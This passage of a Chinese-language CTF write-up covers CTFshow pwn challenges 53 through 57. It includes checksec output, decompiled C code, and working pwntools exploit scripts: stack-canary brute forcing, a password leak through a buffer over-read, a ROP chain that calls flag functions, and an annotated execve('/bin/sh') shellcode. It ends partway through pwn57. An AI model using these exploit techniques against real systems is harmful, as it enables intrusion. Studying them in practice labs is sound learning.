class="line">payload = <span class="string">b&#x27;a&#x27;</span>*<span class="number">0x20</span> + canary + p8(c) <span class="comment">#p8(c)将c打包1字节(8位)的字节串，p8()会发送不可见字符，如果用b&#x27;&#x27;的话我们只能发送可见字符</span></span><br><span class="line">io.sendafter(<span class="string">b&#x27;$ &#x27;</span>,payload)</span><br><span class="line">io.recv(<span class="number">1</span>) <span class="comment"># 跳过的是程序输出中 &quot;$ &quot; 之后、关键判断信息之前的多余字符，最可能是 换行符 \n 或空字节，去掉也能打通（不懂）</span></span><br><span class="line">ans = io.recv()</span><br><span class="line"><span class="built_in">print</span>(ans)</span><br><span class="line"><span class="keyword">if</span> <span class="string">b&#x27;Canary Value Incorrect!&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> ans:</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;The index(&#123;&#125;),value(&#123;&#125;)&#x27;</span>.<span class="built_in">format</span>(i,c)) </span><br><span class="line">canary += p8(c) <span class="comment">#保存该字节</span></span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;tring... ...&#x27;</span>) </span><br><span class="line">io.close()</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;canary=&#x27;</span>,canary) </span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag = elf.sym[<span class="string">&#x27;flag&#x27;</span>]</span><br><span class="line"><span class="comment">#填充buf缓冲区并实现栈溢出</span></span><br><span class="line">payload = <span class="string">b&#x27;a&#x27;</span>*<span class="number">0x20</span> + canary + p32(<span class="number">0</span>)*<span class="number">4</span> + p32(flag)<span class="comment">#p32(0)*4的作用是覆盖Canary之后到返回地址之间的所有内容</span></span><br><span class="line">io.sendlineafter(<span class="string">b&#x27;&gt;&#x27;</span>,<span class="string">b&#x27;-1&#x27;</span>)</span><br><span class="line">io.sendafter(<span class="string">b&#x27;$ &#x27;</span>,payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">低地址</span><br><span class="line">栈地址              变量               大小       说明</span><br><span class="line">ebp-0x58~ebp-0x54  nbytes            4字节     用户输入的字节数</span><br><span class="line">ebp-0x50~ebp-0x30  var_50[8]         32字节    临时缓冲区(接收用户输入)</span><br><span class="line">ebp-0x30~ebp-0x10  buf[32]           32字节    目标缓冲区(存在溢出)</span><br><span class="line">ebp-0x10~ebp-0x0C  s1                4字节     canary副本(用于校验)</span><br><span class="line">ebp-0x0C~ebp-0x04  var_C             4字节    临时变量</span><br><span class="line">ebp-0x04~ebp+0x00  var_4             4字节    临时变量</span><br><span class="line">ebp+0x00~ebp+0x04  __saved_registers 4字节    保存的EBP寄存器</span><br><span class="line">ebp+0x04~ebp+0x08  __return_address  4字节    返回地址(覆盖目标)</span><br><span class="line">高地址</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">b<span class="string">&#x27;rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n&#x27;</span></span><br><span class="line">tring... ...</span><br><span class="line">... </span><br><span class="line">...</span><br><span class="line">b<span class="string">&#x27;here is the flag?\n&#x27;</span></span><br><span class="line">The index(0),value(47)</span><br><span class="line">b<span class="string">&#x27;rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n&#x27;</span></span><br><span class="line">tring... ...</span><br><span class="line">... </span><br><span class="line">...</span><br><span class="line">b<span class="string">&#x27;here is the flag?\n&#x27;</span></span><br><span class="line">The index(1),value(120)</span><br><span class="line">b<span class="string">&#x27;rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n&#x27;</span></span><br><span class="line">tring... ...</span><br><span class="line">... </span><br><span class="line">...</span><br><span class="line">b<span class="string">&#x27;here is the flag?\n&#x27;</span></span><br><span class="line">The index(2),value(48)</span><br><span class="line">b<span class="string">&#x27;rror *** Stack Smashing Detected *** : Canary Value Incorrect!\n&#x27;</span></span><br><span class="line">tring... ...</span><br><span class="line">...</span><br><span class="line">...</span><br><span class="line">b<span class="string">&#x27;here is the flag?\n&#x27;</span></span><br><span class="line">The index(3),value(48)</span><br><span class="line">canary= b<span class="string">&#x27;/x00&#x27;</span></span><br><span class="line">Where is the flag?</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br><span class="line">$</span><br></pre></td></tr></table></figure><h2 id="pwn54"><a href="#pwn54" class="headerlink" title="pwn54"></a>pwn54</h2><p>Hint：再近一点靠近点快被融化</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位程序关闭栈保护与PIE</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s1[<span class="number">64</span>]; <span class="comment">// [esp+0h] [ebp-1A0h] BYREF</span></span><br><span class="line">  <span class="type">char</span> v5[<span class="number">256</span>]; <span class="comment">// [esp+40h] [ebp-160h] BYREF</span></span><br><span class="line">  <span class="type">char</span> s[<span class="number">64</span>]; <span class="comment">// [esp+140h] [ebp-60h] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+180h] [ebp-20h]</span></span><br><span class="line">  <span class="type">char</span> *v8; <span class="comment">// [esp+184h] [ebp-1Ch]</span></span><br><span class="line">  <span class="type">int</span> *p_argc; <span class="comment">// [esp+194h] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  p_argc = &amp;argc;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line">  <span class="built_in">memset</span>(v5, <span class="number">0</span>, <span class="keyword">sizeof</span>(v5));</span><br><span class="line">  <span class="built_in">memset</span>(s1, <span class="number">0</span>, <span class="keyword">sizeof</span>(s1));</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;==========CTFshow-LOGIN==========&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Input your Username:&quot;</span>);</span><br><span class="line">  fgets(v5, <span class="number">256</span>, <span class="built_in">stdin</span>);</span><br><span class="line">  v8 = <span class="built_in">strchr</span>(v5, <span class="number">10</span>);</span><br><span class="line">  <span class="keyword">if</span> ( v8 )</span><br><span class="line">    *v8 = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">strcat</span>(v5, <span class="string">&quot;,\nInput your Password.&quot;</span>);</span><br><span class="line">  stream = fopen(<span class="string">&quot;/password.txt&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/password.txt: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">64</span>, stream);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Welcome &quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(v5);</span><br><span class="line">  fgets(s1, <span class="number">64</span>, <span class="built_in">stdin</span>);</span><br><span class="line">  v5[<span class="number">0</span>] = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strcmp</span>(s1, s) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Welcome! Here&#x27;s what you want:&quot;</span>);</span><br><span class="line">    flag();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;You has been banned!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>声明了一些局部变量，包括字符数组 s1 、v5 和 s ，以及文件指针 stream 、字符指针 v8 和整型指针 p_argc 。</p><p>接下来，使用 memset 函数将字符数组 s 、 v5 和 s1 初始化为全零。使用 fgets 函数从标准输入中读取用户输入的用户名，并存储到字符数组 v5 中。 v5的长度限制为 256 字节。接下来，使用strchr 函数在 s_ 中查找换行符 \n ，如果找到，则将其替换为字符串终止符 \0 。然后，使用strcat 函数将附加的字符串 “,\nInput your Password.” 连接到 s_ 后面。使用 fopen 函数打开名为 “&#x2F;password.txt” 的文件，以只读模式打开。如果打开失败，即文件不存在或无法打开，程序将输出一条错误信息 “&#x2F;password.txt: No such file or directory.” 并调用 exit(0) 终止程序。</p><p>接着，使用 fgets 函数从文件中读取一行内容（最多 64 个字符），存储到字符数组 s 中。这从”&#x2F;password.txt” 文件中读取的密码。</p><p>然后，使用 printf 输出欢迎信息 “Welcome “，并使用 puts 输出用户输入的用户名 v5 。</p><p>接下来，使用 fgets 函数从标准输入中读取用户输入的密码，并存储到字符数组 s1 中。</p><p>最后，将字符数组 v5 的第一个元素设置为零，清空用户输入的用户名。</p><p>接下来看关键部分：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> ( !<span class="built_in">strcmp</span>(s1, s) )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Welcome! Here&#x27;s what you want:&quot;</span>);</span><br><span class="line">    flag();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;You has been banned!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br></pre></td></tr></table></figure><p>这部分代码使用 strcmp 函数比较用户输入的密码 s1 和从文件中读取的密码 s 是否相等。如果相等，表示密码验证成功，输出欢迎信息 “Welcome! Here’s what you want:”，然后调用 flag 函数。</p><p>如果不相等，表示密码验证失败，输出 “You has been banned!” 的提示信息。</p><p>跟进flag函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">48</span>]; <span class="comment">// [esp+Ch] [ebp-3Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+3Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">48</span>, stream);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s&quot;</span>, s);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>总结起来，这段代码实现了一个简单的登录功能。它要求用户输入用户名和密码，并与预先存储在文件 “&#x2F;password.txt” 中的密码进行比较。如果密码验证成功，则输出欢迎信息并输出flag，但是并没有对用户名有啥要求。</p><p>那么关键就是我们如何找到password.txt内的内容</p><p>参数v5（存放name）和参数s（存放flag）在栈上的位置相差不远，而且给参数v5读入数据的时候可以覆盖道参数s</p><figure class="highlight plaintext"><figcaption><span>of main</span></figcaption><table><tr><td class="code"><pre><span class="line">-0000000000000060     _BYTE s;</span><br><span class="line">-0000000000000160     char v5;</span><br></pre></td></tr></table></figure><p>他们相差 0x160-0x60&#x3D;0x100 ，而且我们对v5输入的数据长度正好是0x100,可以将v5填充满，后面紧接着的就是s，main函数里的30行会将s_打印出来</p><p><strong>puts遇到’\x00’才停止</strong></p><p>将’n’替换成’x00’使得puts(v5)能正确输出输入的name，但如果输入了0x100个垃圾数据的话，会导致最后一个’n’并没有读入而导致程序在puts(v5)时会连带下面的password一起输出，这样我们就可以得到服务器上的password，所以会将password顺带着打印出来。</p><p>我们可以借此接收到服务器中password.txt的内容，再重新连接一次输入我们接收到的密码输入进去即可获得flag。这次用户名就随意了，小于256即可，然后再输入密码。。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#本地自己写文件</span></span><br><span class="line">$ <span class="built_in">echo</span> <span class="string">&quot;CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3&quot;</span> | <span class="built_in">sudo</span> <span class="built_in">tee</span>/password.txt &gt; /dev/null</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;i386&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">payload=<span class="string">b&quot;aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac&quot;</span> <span class="comment">#cyclic(0x100)</span></span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;aa,&#x27;</span>) <span class="comment"># 定位到payload中的特征点</span></span><br><span class="line">password = io.recvuntil(<span class="string">b&#x27;\n&#x27;</span>).strip()  <span class="comment"># 读取完整密码行并去除换行符</span></span><br><span class="line"><span class="built_in">print</span>(password)</span><br><span class="line">io.close()</span><br><span class="line">io=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;bit&#x27;</span>) <span class="comment">#用户名</span></span><br><span class="line">io.sendline(password)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 103</span><br><span class="line">b<span class="string">&#x27;CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3&#x27;</span></span><br><span class="line">[*] Process <span class="string">&#x27;./pwn&#x27;</span> stopped with <span class="built_in">exit</span> code 0 (pid 103)</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 105</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">[*] Process <span class="string">&#x27;./pwn&#x27;</span> stopped with <span class="built_in">exit</span> code 0 (pid 105)</span><br><span class="line">==========CTFshow-LOGIN==========</span><br><span class="line">Input your Username:</span><br><span class="line">Welcome bit,</span><br><span class="line">Input your Password.</span><br><span class="line">Welcome! Here<span class="string">&#x27;s what you want:</span></span><br><span class="line"><span class="string">flag&#123;just_test_my_process&#125;</span></span><br><span class="line"><span class="string">$</span></span><br></pre></td></tr></table></figure><h2 id="pwn55"><a href="#pwn55" class="headerlink" title="pwn55"></a>pwn55</h2><p>Hint：你是我的谁，我的我是你的谁</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      Partial RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX enabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位关闭栈保护与PIE</p><p>IDA查看main函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  setvbuf(<span class="built_in">stdout</span>, <span class="number">0</span>, <span class="number">2</span>, <span class="number">0</span>);</span><br><span class="line">  logo(&amp;argc);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;How to find flag?&quot;</span>);</span><br><span class="line">  ctfshow();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进ctfshow函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">char</span> *<span class="title function_">ctfshow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">40</span>]; <span class="comment">// [esp+Ch] [ebp-2Ch] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Input your flag: &quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> gets(s);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>gets函数输入，没有限制读入长度，存在溢出漏洞</p><p>发现三个跟flag有关的函数：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">flag</span><span class="params">(<span class="type">int</span> a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> s[<span class="number">48</span>]; <span class="comment">// [esp+Ch] [ebp-3Ch] BYREF</span></span><br><span class="line">  FILE *stream; <span class="comment">// [esp+3Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  stream = fopen(<span class="string">&quot;/ctfshow_flag&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( !stream )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;/ctfshow_flag: No such file or directory.&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  fgets(s, <span class="number">48</span>, stream);</span><br><span class="line">  <span class="keyword">if</span> ( flag1 &amp;&amp; flag2 &amp;&amp; a1 == <span class="number">-1111638595</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;%s&quot;</span>, s);</span><br><span class="line">  <span class="keyword">if</span> ( flag1 &amp;&amp; flag2 )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Incorrect Argument.&quot;</span>);</span><br><span class="line">  <span class="keyword">if</span> ( flag1 || flag2 )</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Nice Try!&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">puts</span>(<span class="string">&quot;Flag is not here!&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>看到程序将flag读入到了参数s里面，满足条件flag1&amp;&amp;flag2 &amp;&amp;a1&#x3D;&#x3D;0xBDBDBDBD的条件，就能读出flag</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">Elf32_Dyn **<span class="title function_">flag_func1</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  Elf32_Dyn **_GLOBAL_OFFSET_TABLE; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line">  _GLOBAL_OFFSET_TABLE = &amp;GLOBAL_OFFSET_TABLE_;</span><br><span class="line">  flag1 = <span class="number">1</span>;</span><br><span class="line">  <span class="keyword">return</span> _GLOBAL_OFFSET_TABLE;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>flag_func1函数直接给flag1赋值成了1</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">Elf32_Dyn **__cdecl <span class="title function_">flag_func2</span><span class="params">(<span class="type">int</span> a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  Elf32_Dyn **_GLOBAL_OFFSET_TABLE; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line">  _GLOBAL_OFFSET_TABLE = &amp;GLOBAL_OFFSET_TABLE_;</span><br><span class="line">  <span class="keyword">if</span> ( flag1 &amp;&amp; a1 == <span class="number">-1397969748</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    flag2 = <span class="number">1</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> ( flag1 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">return</span> (Elf32_Dyn **)<span class="built_in">puts</span>(<span class="string">&quot;Try Again.&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">return</span> (Elf32_Dyn **)<span class="built_in">puts</span>(<span class="string">&quot;Try a little bit.&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> _GLOBAL_OFFSET_TABLE;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>flag_func2函数当满足条件的时候会将flag2赋值为1</p><p>那么我们思路就很明确了，首先溢出后覆盖ret为flag_func1,将flag1赋值为1。之后跳转到flag_func2的地址，a1是传入的参数，将a1传入即可满足条件去设置flag2的值为1，之后去执行flag函数，if要满足的条件之前都设置好了，可以直接读出flag</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&quot;i386&quot;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level= <span class="string">&quot;debug&quot;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#io = remote(&#x27;pwn.challenge.ctf.show&#x27;,28199)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">flag_func1 = elf.sym[<span class="string">&#x27;flag_func1&#x27;</span>]</span><br><span class="line">flag_func2 = elf.sym[<span class="string">&#x27;flag_func2&#x27;</span>]</span><br><span class="line">flag = elf.sym[<span class="string">&#x27;flag&#x27;</span>]</span><br><span class="line">payload = <span class="string">b&quot;a&quot;</span> * (<span class="number">0x2c</span>+<span class="number">4</span>)</span><br><span class="line">payload += p32(flag_func1)</span><br><span class="line">payload += p32(flag_func2) + p32(flag) + p32(<span class="number">0xACACACAC</span>) + p32(<span class="number">0xBDBDBDBD</span>) <span class="comment">#-1397969748（0xACACACAC）,-1111638595（0xBDBDBDBD）</span></span><br><span class="line">io.sendlineafter(<span class="string">b&quot;flag: &quot;</span>, payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 1300</span><br><span class="line">[*] <span class="string">&#x27;/CTFshow_pwn/pwn&#x27;</span></span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">flag&#123;just_test_my_process&#125;</span><br></pre></td></tr></table></figure><h2 id="pwn56"><a href="#pwn56" class="headerlink" title="pwn56"></a>pwn56</h2><p>Hint：先了解一下简单的32位shellcode吧</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       i386-32-little</span><br><span class="line">  RELRO:      No RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX disabled</span><br><span class="line">  PIE:        No PIE (0x8048000)</span><br><span class="line">  Stripped:   No</span><br></pre></td></tr></table></figure><p>32位保护全关</p><p>IDA查看一下：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> __noreturn <span class="title function_">start</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v0; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> _bin___sh_[<span class="number">10</span>]; <span class="comment">// [esp-Ch] [ebp-Ch] BYREF</span></span><br><span class="line">  __int16 v2; <span class="comment">// [esp-2h] [ebp-2h]</span></span><br><span class="line"></span><br><span class="line">  v2 = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">strcpy</span>(_bin___sh_, <span class="string">&quot;/bin///sh&quot;</span>);</span><br><span class="line">  v0 = sys_execve(_bin___sh_, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>很明显就是简单的调用了一个shell，那么我们进行逐步分析：</p><p>先将汇编代码拿出来分析：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">push    68h ; &#x27;h&#x27;</span><br><span class="line">push    732F2F2Fh</span><br><span class="line">push    6E69622Fh</span><br><span class="line">mov     ebx, esp        ; file</span><br><span class="line">xor     ecx, ecx        ; argv</span><br><span class="line">xor     edx, edx        ; envp</span><br><span class="line">push    0Bh</span><br><span class="line">pop     eax</span><br><span class="line">int     80h             ; LINUX - sys_execve</span><br></pre></td></tr></table></figure><p>这段代码是x86汇编语言的代码，用于在Linux系统上执行一个系统调用来执行</p><p>execve(“&#x2F;bin&#x2F;sh”, NULL, NULL) 。让我们逐行解析代码的功能：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">push 0x68 </span><br><span class="line">#这行代码将十六进制值 0x68 （104的十进制表示）压入栈中。这是为了将后续的字符串 &quot;/bin/sh&quot;的长度（11个字符）放入栈中，以便后续使用。</span><br><span class="line">push 0x732f2f2f</span><br><span class="line">#这行代码将十六进制值 0x732f2f2f 压入栈中。这是字符串 &quot;/bin/sh&quot; 的前半部分字符的逆序表示，即 &quot;sh//&quot;。这是因为x86架构是小端字节序的，字符串需要以逆序方式存储在内存中。</span><br><span class="line">push 0x6e69622f</span><br><span class="line">#这行代码将十六进制值 0x6e69622f 压入栈中。这是字符串 &quot;/bin/sh&quot; 的后半部分字符的逆序表</span><br><span class="line">示，即 &quot;/bin&quot;。</span><br><span class="line">mov ebx,esp</span><br><span class="line">#这行代码将栈顶的地址（即字符串&quot;/bin/sh&quot;的起始地址）复制给寄存器 ebx。ebx寄存器将用作execve 系统调用的第一个参数，即要执行的可执行文件的路径。</span><br><span class="line">xor ecx,ecx</span><br><span class="line">xor edx,edx</span><br><span class="line">#这两行代码使用异或操作将 ecx 和 edx 寄存器的值设置为零。 ecx 和 edx 分别将用作 execve系统调用的第二个和第三个参数，即命令行参数和环境变量。在此情况下，我们将它们设置为 NULL，表示没有命令行参数和环境变量。</span><br><span class="line">push 0xB</span><br><span class="line">pop eax</span><br><span class="line">这两行代码将值11（0xb）压入栈中，然后从栈中弹出到寄存器 eax。eax寄存器将用作系统调用号，11表示execve系统调用的系统调用号。</span><br><span class="line">int 0x80</span><br><span class="line">这行代码触发中断 0x80 ，这是Linux系统中用于执行系统调用的中断指令。通过设置适当的寄存器值（ eax 、 ebx 、 ecx 、 edx ）， int 0x80 指令将执行 execve(&quot;/bin/sh&quot;, NULL, NULL) 系统调用，从而启动一个新的 shell 进程。</span><br></pre></td></tr></table></figure><p>总结起来，这段汇编代码的功能是利用系统调用在Linux系统上执行 execve(“&#x2F;bin&#x2F;sh”, NULL,NULL) ，即打开一个新的shell进程。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>,<span class="number">28159</span>)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ./pwn</span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn57"><a href="#pwn57" class="headerlink" title="pwn57"></a>pwn57</h2><p>Hint：先了解一下简单的64位shellcode吧</p><p>checksec检查保护</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">  Arch:       amd64-64-little</span><br><span class="line">  RELRO:      No RELRO</span><br><span class="line">  Stack:      No canary found</span><br><span class="line">  NX:         NX disabled</span><br><span class="line">  PIE:        No PIE (0x400000)</span><br><span class="line">  Stack:      Executable</span><br><span class="line">  Stripped:   